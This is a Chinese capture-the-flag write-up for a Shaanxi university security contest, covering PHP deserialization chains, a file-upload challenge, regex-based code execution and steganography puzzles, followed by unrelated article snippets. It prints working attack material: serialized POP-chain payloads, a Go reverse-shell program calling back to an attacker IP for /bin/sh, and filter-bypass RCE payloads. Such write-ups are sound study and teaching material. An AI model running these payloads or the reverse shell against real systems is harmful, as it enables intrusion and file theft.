第三届陕西省大学生网络安全技能大赛wp

news2024/11/6 19:18:31

文章目录

  • 第三届陕西省大学生网络安全技能大赛wp
    • web
      • ezpop
      • test
      • ezrce
      • unserialize
      • Esc4pe_T0_Mong0
    • misc
      • 管道
      • 可是雪啊飘进双眼

第三届陕西省大学生网络安全技能大赛wp

web

ezpop

在源码找到base64

image-20230608202614434

解码: /pop3ZTgMw.php,访问获得源码:

<?php
highlight_file(__FILE__);

class night
{
    public $night;

    public function __destruct(){
        echo $this->night . '哒咩哟';
    }
}

class day
{
    public $day;

    public function __toString(){
        echo $this->day->go();
    }

    public function __call($a, $b){
        echo $this->day->getFlag();
    }
}


class light
{
    public $light;

    public function __invoke(){
        echo $this->light->d();
    }
}

class dark
{
    public $dark;

    public function go(){
        ($this->dark)();
    }

    public function getFlag(){
        include(hacked($this->dark));
    }
}

function hacked($s) {
    if(substr($s, 0,1) == '/'){
        die('呆jio步');
    }
    $s = preg_replace('/\.\.*/', '.', $s);
    $s = urldecode($s);
    $s = htmlentities($s, ENT_QUOTES, 'UTF-8');
    return strip_tags($s);
}

$un = unserialize($_POST['‮⁦快给我传参⁩⁦pop']); // 
throw new Exception('seino');

突破点在dark类的getFlag方法,里面有个include可以文件包含,可以使用php伪协议绕过hacked函数

很简单直接构造poc

$a=new dark();
$a->dark="php://filter/convert.base64-encode/resource=/flag";
$b=new day();
$b->day=$a;
$c=new light();
$c->light=$b;
$d=new dark();
$d->dark=$c;
$e=new day();
$e->day=$d;
$n=new night();
$n->night=$e;
echo serialize($n);


O:5:"night":1:{s:5:"night";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";O:5:"light":1:{s:5:"light";O:3:"day":1:{s:3:"day";O:4:"dark":1:{s:4:"dark";s:49:"php://filter/convert.base64-encode/resource=/flag";}}}}}}

image-20230608202830909

我们把源码复制进phpstorm发现有点小问题:

image-20230608202918528

post参数变了,

可能是不可见字符搞的鬼,我们需要将这些字符进行url编码再传参

post传参:

%E2%80%AE%E2%81%A6%E5%BF%AB%E7%BB%99%E6%88%91%E4%BC%A0%E5%8F%82%E2%81%A9%E2%81%A6pop

但是传参发现没用:

image-20230608205521106

因为这里抛出了一个异常,导致destruct方法没有被触发,

我们可以使用 fast destruct技巧提前触发 __destruct()

这里我们可以删除最后一个大括号 }:得到flag的base64编码

image-20230608205925122

本质上,fast destruct 是因为unserialize过程中扫描器发现序列化字符串格式有误导致的提前异常退出,为了销毁之前建立的对象内存空间,会立刻调用对象的__destruct(),提前触发反序列化链条。

test

image-20230608210238283

f12找到隐藏页面:

image-20230608210301665

我们把index改为admin:

image-20230608210329993

md5解码得到:

image-20230608210346210

使用账号密码登录:

image-20230608210421587

提示我们上传go文件后就会执行它,所以我们直接反弹shell

反弹shell go脚本

package main

import (
    "fmt"
    "net"
    "os/exec"
)

func main() {
    // 连接到攻击者的 IP 地址和端口
    conn, err := net.Dial("tcp", "your_ip:9996")
    if err != nil {
        panic(err)
    }

    // 将连接交给 Cmd 对象处理
    cmd := exec.Command("/bin/sh")
    cmd.Stdin = conn
    cmd.Stdout = conn
    cmd.Stderr = conn

    // 启动 Cmd 对象
    err = cmd.Start()
    if err != nil {
        panic(err)
    }

    // 等待 Cmd 对象执行完毕
    err = cmd.Wait()
    if err != nil {
        panic(err)
    }
    
    // 关闭连接
    conn.Close()

    // 输出完成信息
    fmt.Println("Shell session terminated")
}

构造上传页面

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <form action="http://d5e624ee.clsadp.com/Adm1nUp104d" method="post" enctype="multipart/form-data">
        <input type="file" name="file">
        <input type="submit" name="submit">
    </form>
</body>
</html>

上传脚本,服务器监听:

image-20230608210954717

ezrce

按一下提交得源码:

<?php
error_reporting(0);
include 'waf.php';
header("Content-Type:text/html;charset=utf-8");
echo "你是谁啊哥们?把钥匙给我!!!!<br/>";
$key=$_GET['key'];
$name=$_POST['name'];
$qaq=waf($_POST['qaq']);
if (isset($_GET['key'])){
  highlight_file(__FILE__);
}
if (isset($name))
{
    echo "你是".$name."大人????<br/>";
    $name1=preg_replace('/hahaha/e',$qaq,$name);
    echo "骗我的吧,你明明是    >>>>小小".$name1;
}
?>

注意看:preg_replace('/hahaha/e',$qaq,$name) 使用了 /e 参数,可能造成命令执行

preg_replace()使用了 /e参数,如果在 $name中匹配到了 hahaha 就会执行 $qaq中的代码

image-20230608211710704

当前目录存在 waf.php

image-20230608211814177

试了一下,发现 小数点 / 等东西都被过滤了,可以使用 无参数rce

name=hahaha123&qaq=highlight_file(array_pop(scandir(current(localeconv()))))

获得waf.php函数

function waf($poc)
{
    if(preg_match("/[0-9]|get_defined_vars|getallheaders|next|prev|end|array_reverse|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $poc)){
        echo "hacker! you die!<br/>";
        return "666";
    }
    return $poc;
}

写到这有点不会了,查了一下无参数rce还有一种 session_start()的方式

image-20230608212131882

使用session将 /flag 传过去:

image-20230608212232667

unserialize

index.php:

<?php
highlight_file(__FILE__);
header("Content-type:text/html;charset=utf-8");
require_once "waf.php";
error_reporting(0);
class getFlag{
    private $password;
    private $cmd;
    public function __destruct(){
        if($this->password=="‮⁦  //how to change the private variables⁩⁦secret"){
            system($this->cmd);
        }
    }
}
$a = $_GET['a'];
if(isset($_GET['a'])){
    @eval(waf($a));
}
?>

robots.txt泄露:

User-agent: *
Disallow: hint.php

我们访问hint.php

image-20230608212751510

提示我们需要使用这些方法,结合

image-20230608212844259

我们知道了,我们需要使用反射,将源码复制到sublime中:

image-20230608212931976

发现参数又有不可见字符,我们需要url编码:

%E2%80%AE%E2%81%A6%20%20%2F%2Fhow%20to%20change%20the%20private%20variables%E2%81%A9%E2%81%A6secret

直接使用反射即可,注意:由于属性是private,所以我们需要 setAccessible(true)

$flag = new getFlag();
$refl = new ReflectionObject($flag);
$pwd = $refl->getProperty("password");
$pwd->setAccessible(true);
$pwd->setValue($flag,"%E2%80%AE%E2%81%A6%20%20%2F%2Fhow%20to%20change%20the%20private%20variables%E2%81%A9%E2%81%A6secret");
$cmd = $refl->getProperty("cmd");
$cmd->setAccessible(true);
$cmd->setValue($flag,"cat /flag");

image-20230608213943302

Esc4pe_T0_Mong0

nodejs、沙箱逃逸

misc

管道

zsteg一把梭

image-20230608214440271

可是雪啊飘进双眼

把音频放进audacity

img

这是莫斯电码,解码

.-- --- .- .. ... .... .- -. -..- ..
WOAISHANXI

然后结合 题目知,这是snow隐写:

image-20230608214844634

shanxiroujiamo

解压压缩包,得到两张图片

image-20230608215116631

image-20230608214954094

binwalk分离 key.jpg,得到另一张图片:

img

对照着上面的图片解密:BC1PVEYD

然后使用steghide即可:

image-20230608215152687

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/625067.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

通过帮助中心提高客户满意度,帮助中心的最佳实践方式

随着技术的不断发展和产品的不断更新&#xff0c;消费者对产品的需求也越来越高。在这个竞争激烈的市场中&#xff0c;企业必须建立一个完善的帮助中心&#xff0c;来提供及时、准确的技术支持和解决方案&#xff0c;以满足客户的各种需求。这样能够有效地提高客户满意度&#…

java+springboot8高校教职工教师档案管理系统

系统设计遵循界面层、业务逻辑层和数据访问层的Web开发三层架构。采用B/S结构,使得系统更加容易维护。系统的设计与实现主要实现角色有管理员和用户,管理员在后台管理用户表模块、token表模块、公告信息模块、教职工模块、工资信息模块、调动离职模块、配置文件模块、出勤信息模…

好用工具第3期:全平台免费音乐LxMusic

LxMusic 1. 概要 LxMusic 是一个跨平台的开源的音乐播放器。支持本地音乐文件播放以及各大平台的音乐搜索播放和下载所有歌曲。 LxMusic 是一个开源项目, 项目地址是: 桌面端 https://github.com/lyswhut/lx-music-desktop 移动端 https://github.com/lyswhut/lx-music-mobi…

Ficus 第二弹,突破限制器的 Markdown 编辑管理软件!

大家好&#xff0c;我们是 ggG 团队&#xff0c;我们开发的 markdown 笔记管理软件 Ficus Beta 版本正式发布了。详情可以见我们官网&#xff0c;也可以来我们仓库查看。 相对于 Alpha 版本&#xff08;可以在我们之前的博客中查看&#xff09;&#xff0c;主要有 3 点明显的提…

【网络】协议定制+序列化/反序列化

为什么要序列化&#xff1f; 如果光看定义很难理解序列化的意义&#xff0c;那么我们可以从另一个角度来推导出什么是序列化, 那么究竟序列化的目的是什么&#xff1f; 其实序列化最终的目的是为了对象可以跨平台存储&#xff0c;和进行网络传输。而我们进行跨平台存储和网络…

[第一章 web入门]常见的搜集

首先就利用御剑或者dirsearch扫描一下网站后台&#xff0c;可以得到以下三个路径返回正常 robots.txt index.php~ .index.php.swp 其实我没扫描出来&#xff0c;这些都是看的别人的wp才做出来的&#xff0c;一开始我其实意识到御剑其实就是有一个字典&#xff0c;然后按照字典的…

【蓝桥杯算法题】用java遍写税收计算

【蓝桥杯算法题】用java遍写税收计算 题目&#xff1a;劳务报酬税收计算&#xff1a;输入 m &#xff0c;输出税后收入。如果 m <800&#xff0c;不扣税&#xff0c; 如果800< m <4000&#xff0e;则 m 减去800后的金额扣除20&#xff05;所得税。如果 m >4000&…

SpringBoot项目使用CXF框架开发Soap通信接口

SpringBoot项目使用CXF框架开发Soap通信接口 物料准备&#xff1a; 1.引入cxf官方提供的SpringBootStarter依赖 2.定义需要暴雷给外部调用的java接口以及接口的实现类 3.配置CxfConfig类&#xff0c;把你定义的java接口注册为webservice的Endpoint 引入cxf-spring-boot-st…

Solidwoks PDM Add-ins (C#) 创建菜单命令

演示如何创建 C# Add-ins :将菜单命令添加到库视图的上下文相关菜单的。 注意&#xff1a;由于 SOLIDWORKS PDM Professional 无法强制重新加载add-ins&#xff0c;因此必须重新启动所有客户端计算机以确保使用最新版本的add-ins。 启动VS。新建项目&#xff0c;选择类库。在“…

数据结构——队列

数据结构——队列 文章目录 数据结构——队列前言队列基本概念队列的基本操作队列的顺序存储结构创建顺序队列代码入队操作代码出队操作代码顺序队列的关键语句 队列的链式存储结构链式队列初始化链式队列判断空链式队列的入队操作链式队列的出队操作 循环队列循环队列基本思想…

「Tech初见」Linux驱动之chrdev

目录 免责声明I. MotivationII. SolutionS1 - 主次设备号S2 - 设备驱动程序S3 - 字符设备驱动程序 III. Result 免责声明 「Tech初见」系列的文章&#xff0c;是本人第一次接触的话题 对所谓真理的理解暂时可能还不到位&#xff0c;避免不了会出现令人嗤鼻的谬论 所以&#…

Oracle中改变表的Owner和tablespace

初用Oracle&#xff0c;很多的不熟悉&#xff0c;建完库&#xff0c;没有建用户&#xff0c;也没创建表空间&#xff0c;就直接system用户建表添加数据&#xff0c;几个月过去&#xff0c;表建了近百个&#xff0c;数据添加了几万条&#xff0c;才越来越觉得这种方式缺点太多&a…

docker对cpu资源做限制

系列文章目录 文章目录 系列文章目录一、cgroup1.groups四大功能2.CPU 资源控制 二、1.限制可用的 swap 大小&#xff0c; --memory-swap2.对磁盘IO配额控制&#xff08;blkio&#xff09;的限制 总结 一、cgroup 1.groups四大功能 资源限制&#xff1a;可以对任务使用的资源…

华为OD机试真题 JavaScript 实现【相对开音节】【2022Q4 100分】,附详细解题思路

一、题目描述 相对开音节构成的结构为辅音元音&#xff08;aeiou&#xff09;辅音(r除外)e&#xff0c;常见的单词有life,time,woke,coke,joke,note,nose,communicate&#xff0c;use&#xff0c;gate&#xff0c;same&#xff0c;late等。 给定一个字符串&#xff0c;以空格…

递归算法在编程中的重要应用

递归算法在编程中的重要应用 引言一、引言1.1、什么是递归算法&#xff1f;1.2、递归算法的特点和优缺点 二、树和图的遍历2.1、深度优先搜索&#xff08;DFS&#xff09;和广度优先搜索&#xff08;BFS&#xff09;2.2、二叉树遍历、树的深度、节点个数等问题2.2.1、二叉树遍历…

关于对【oracle索引】的理解与简述

【版权声明】未经博主同意&#xff0c;谢绝转载&#xff01;&#xff08;请尊重原创&#xff0c;博主保留追究权&#xff09; https://blog.csdn.net/m0_69908381/article/details/131094864 出自【进步*于辰的博客】 无论使用的是oracle、mysql&#xff0c;亦或者其他数据库&a…

如何吃透一个Java项目?

现在Austin的文档我觉得还是比较全的&#xff0c;但到了看代码的时候&#xff0c;可能有的同学就不知道应该怎么看&#xff0c;有想知道模块之间的调用链路&#xff0c;有想一点一点把细节给全看了。这时候就很可能在项目里犯迷糊了&#xff0c;绕不出不来了。 Java开源项目消息…

MySQL的下载安装以及环境配置---图文教程

目录 一.下载 二.安装 三.设置环境变量 四.MySQL数据库的使用及注意事项 SQL语句注意事项 一.下载 1.打开 MySQL 数据库的网站。 2.往下滑 3.进入新的页面之后&#xff0c;点击 MySQL Installer for Windows 4.进入新的页面时&#xff0c;就可以下载MySQL数据库了&#x…

数据结构05:树的定义与双亲、孩子表示法[更新中]

参考用书&#xff1a;王道考研《2024年 数据结构考研复习指导》 参考用书配套视频&#xff1a;5.1.1 树的定义和基本术语_哔哩哔哩_bilibili 特别感谢&#xff1a; Chat GPT老师[部分名词解释、修改BUG]、BING老师[封面图]~ 备注&#xff1a;博文目前是未完成的状态&#xff…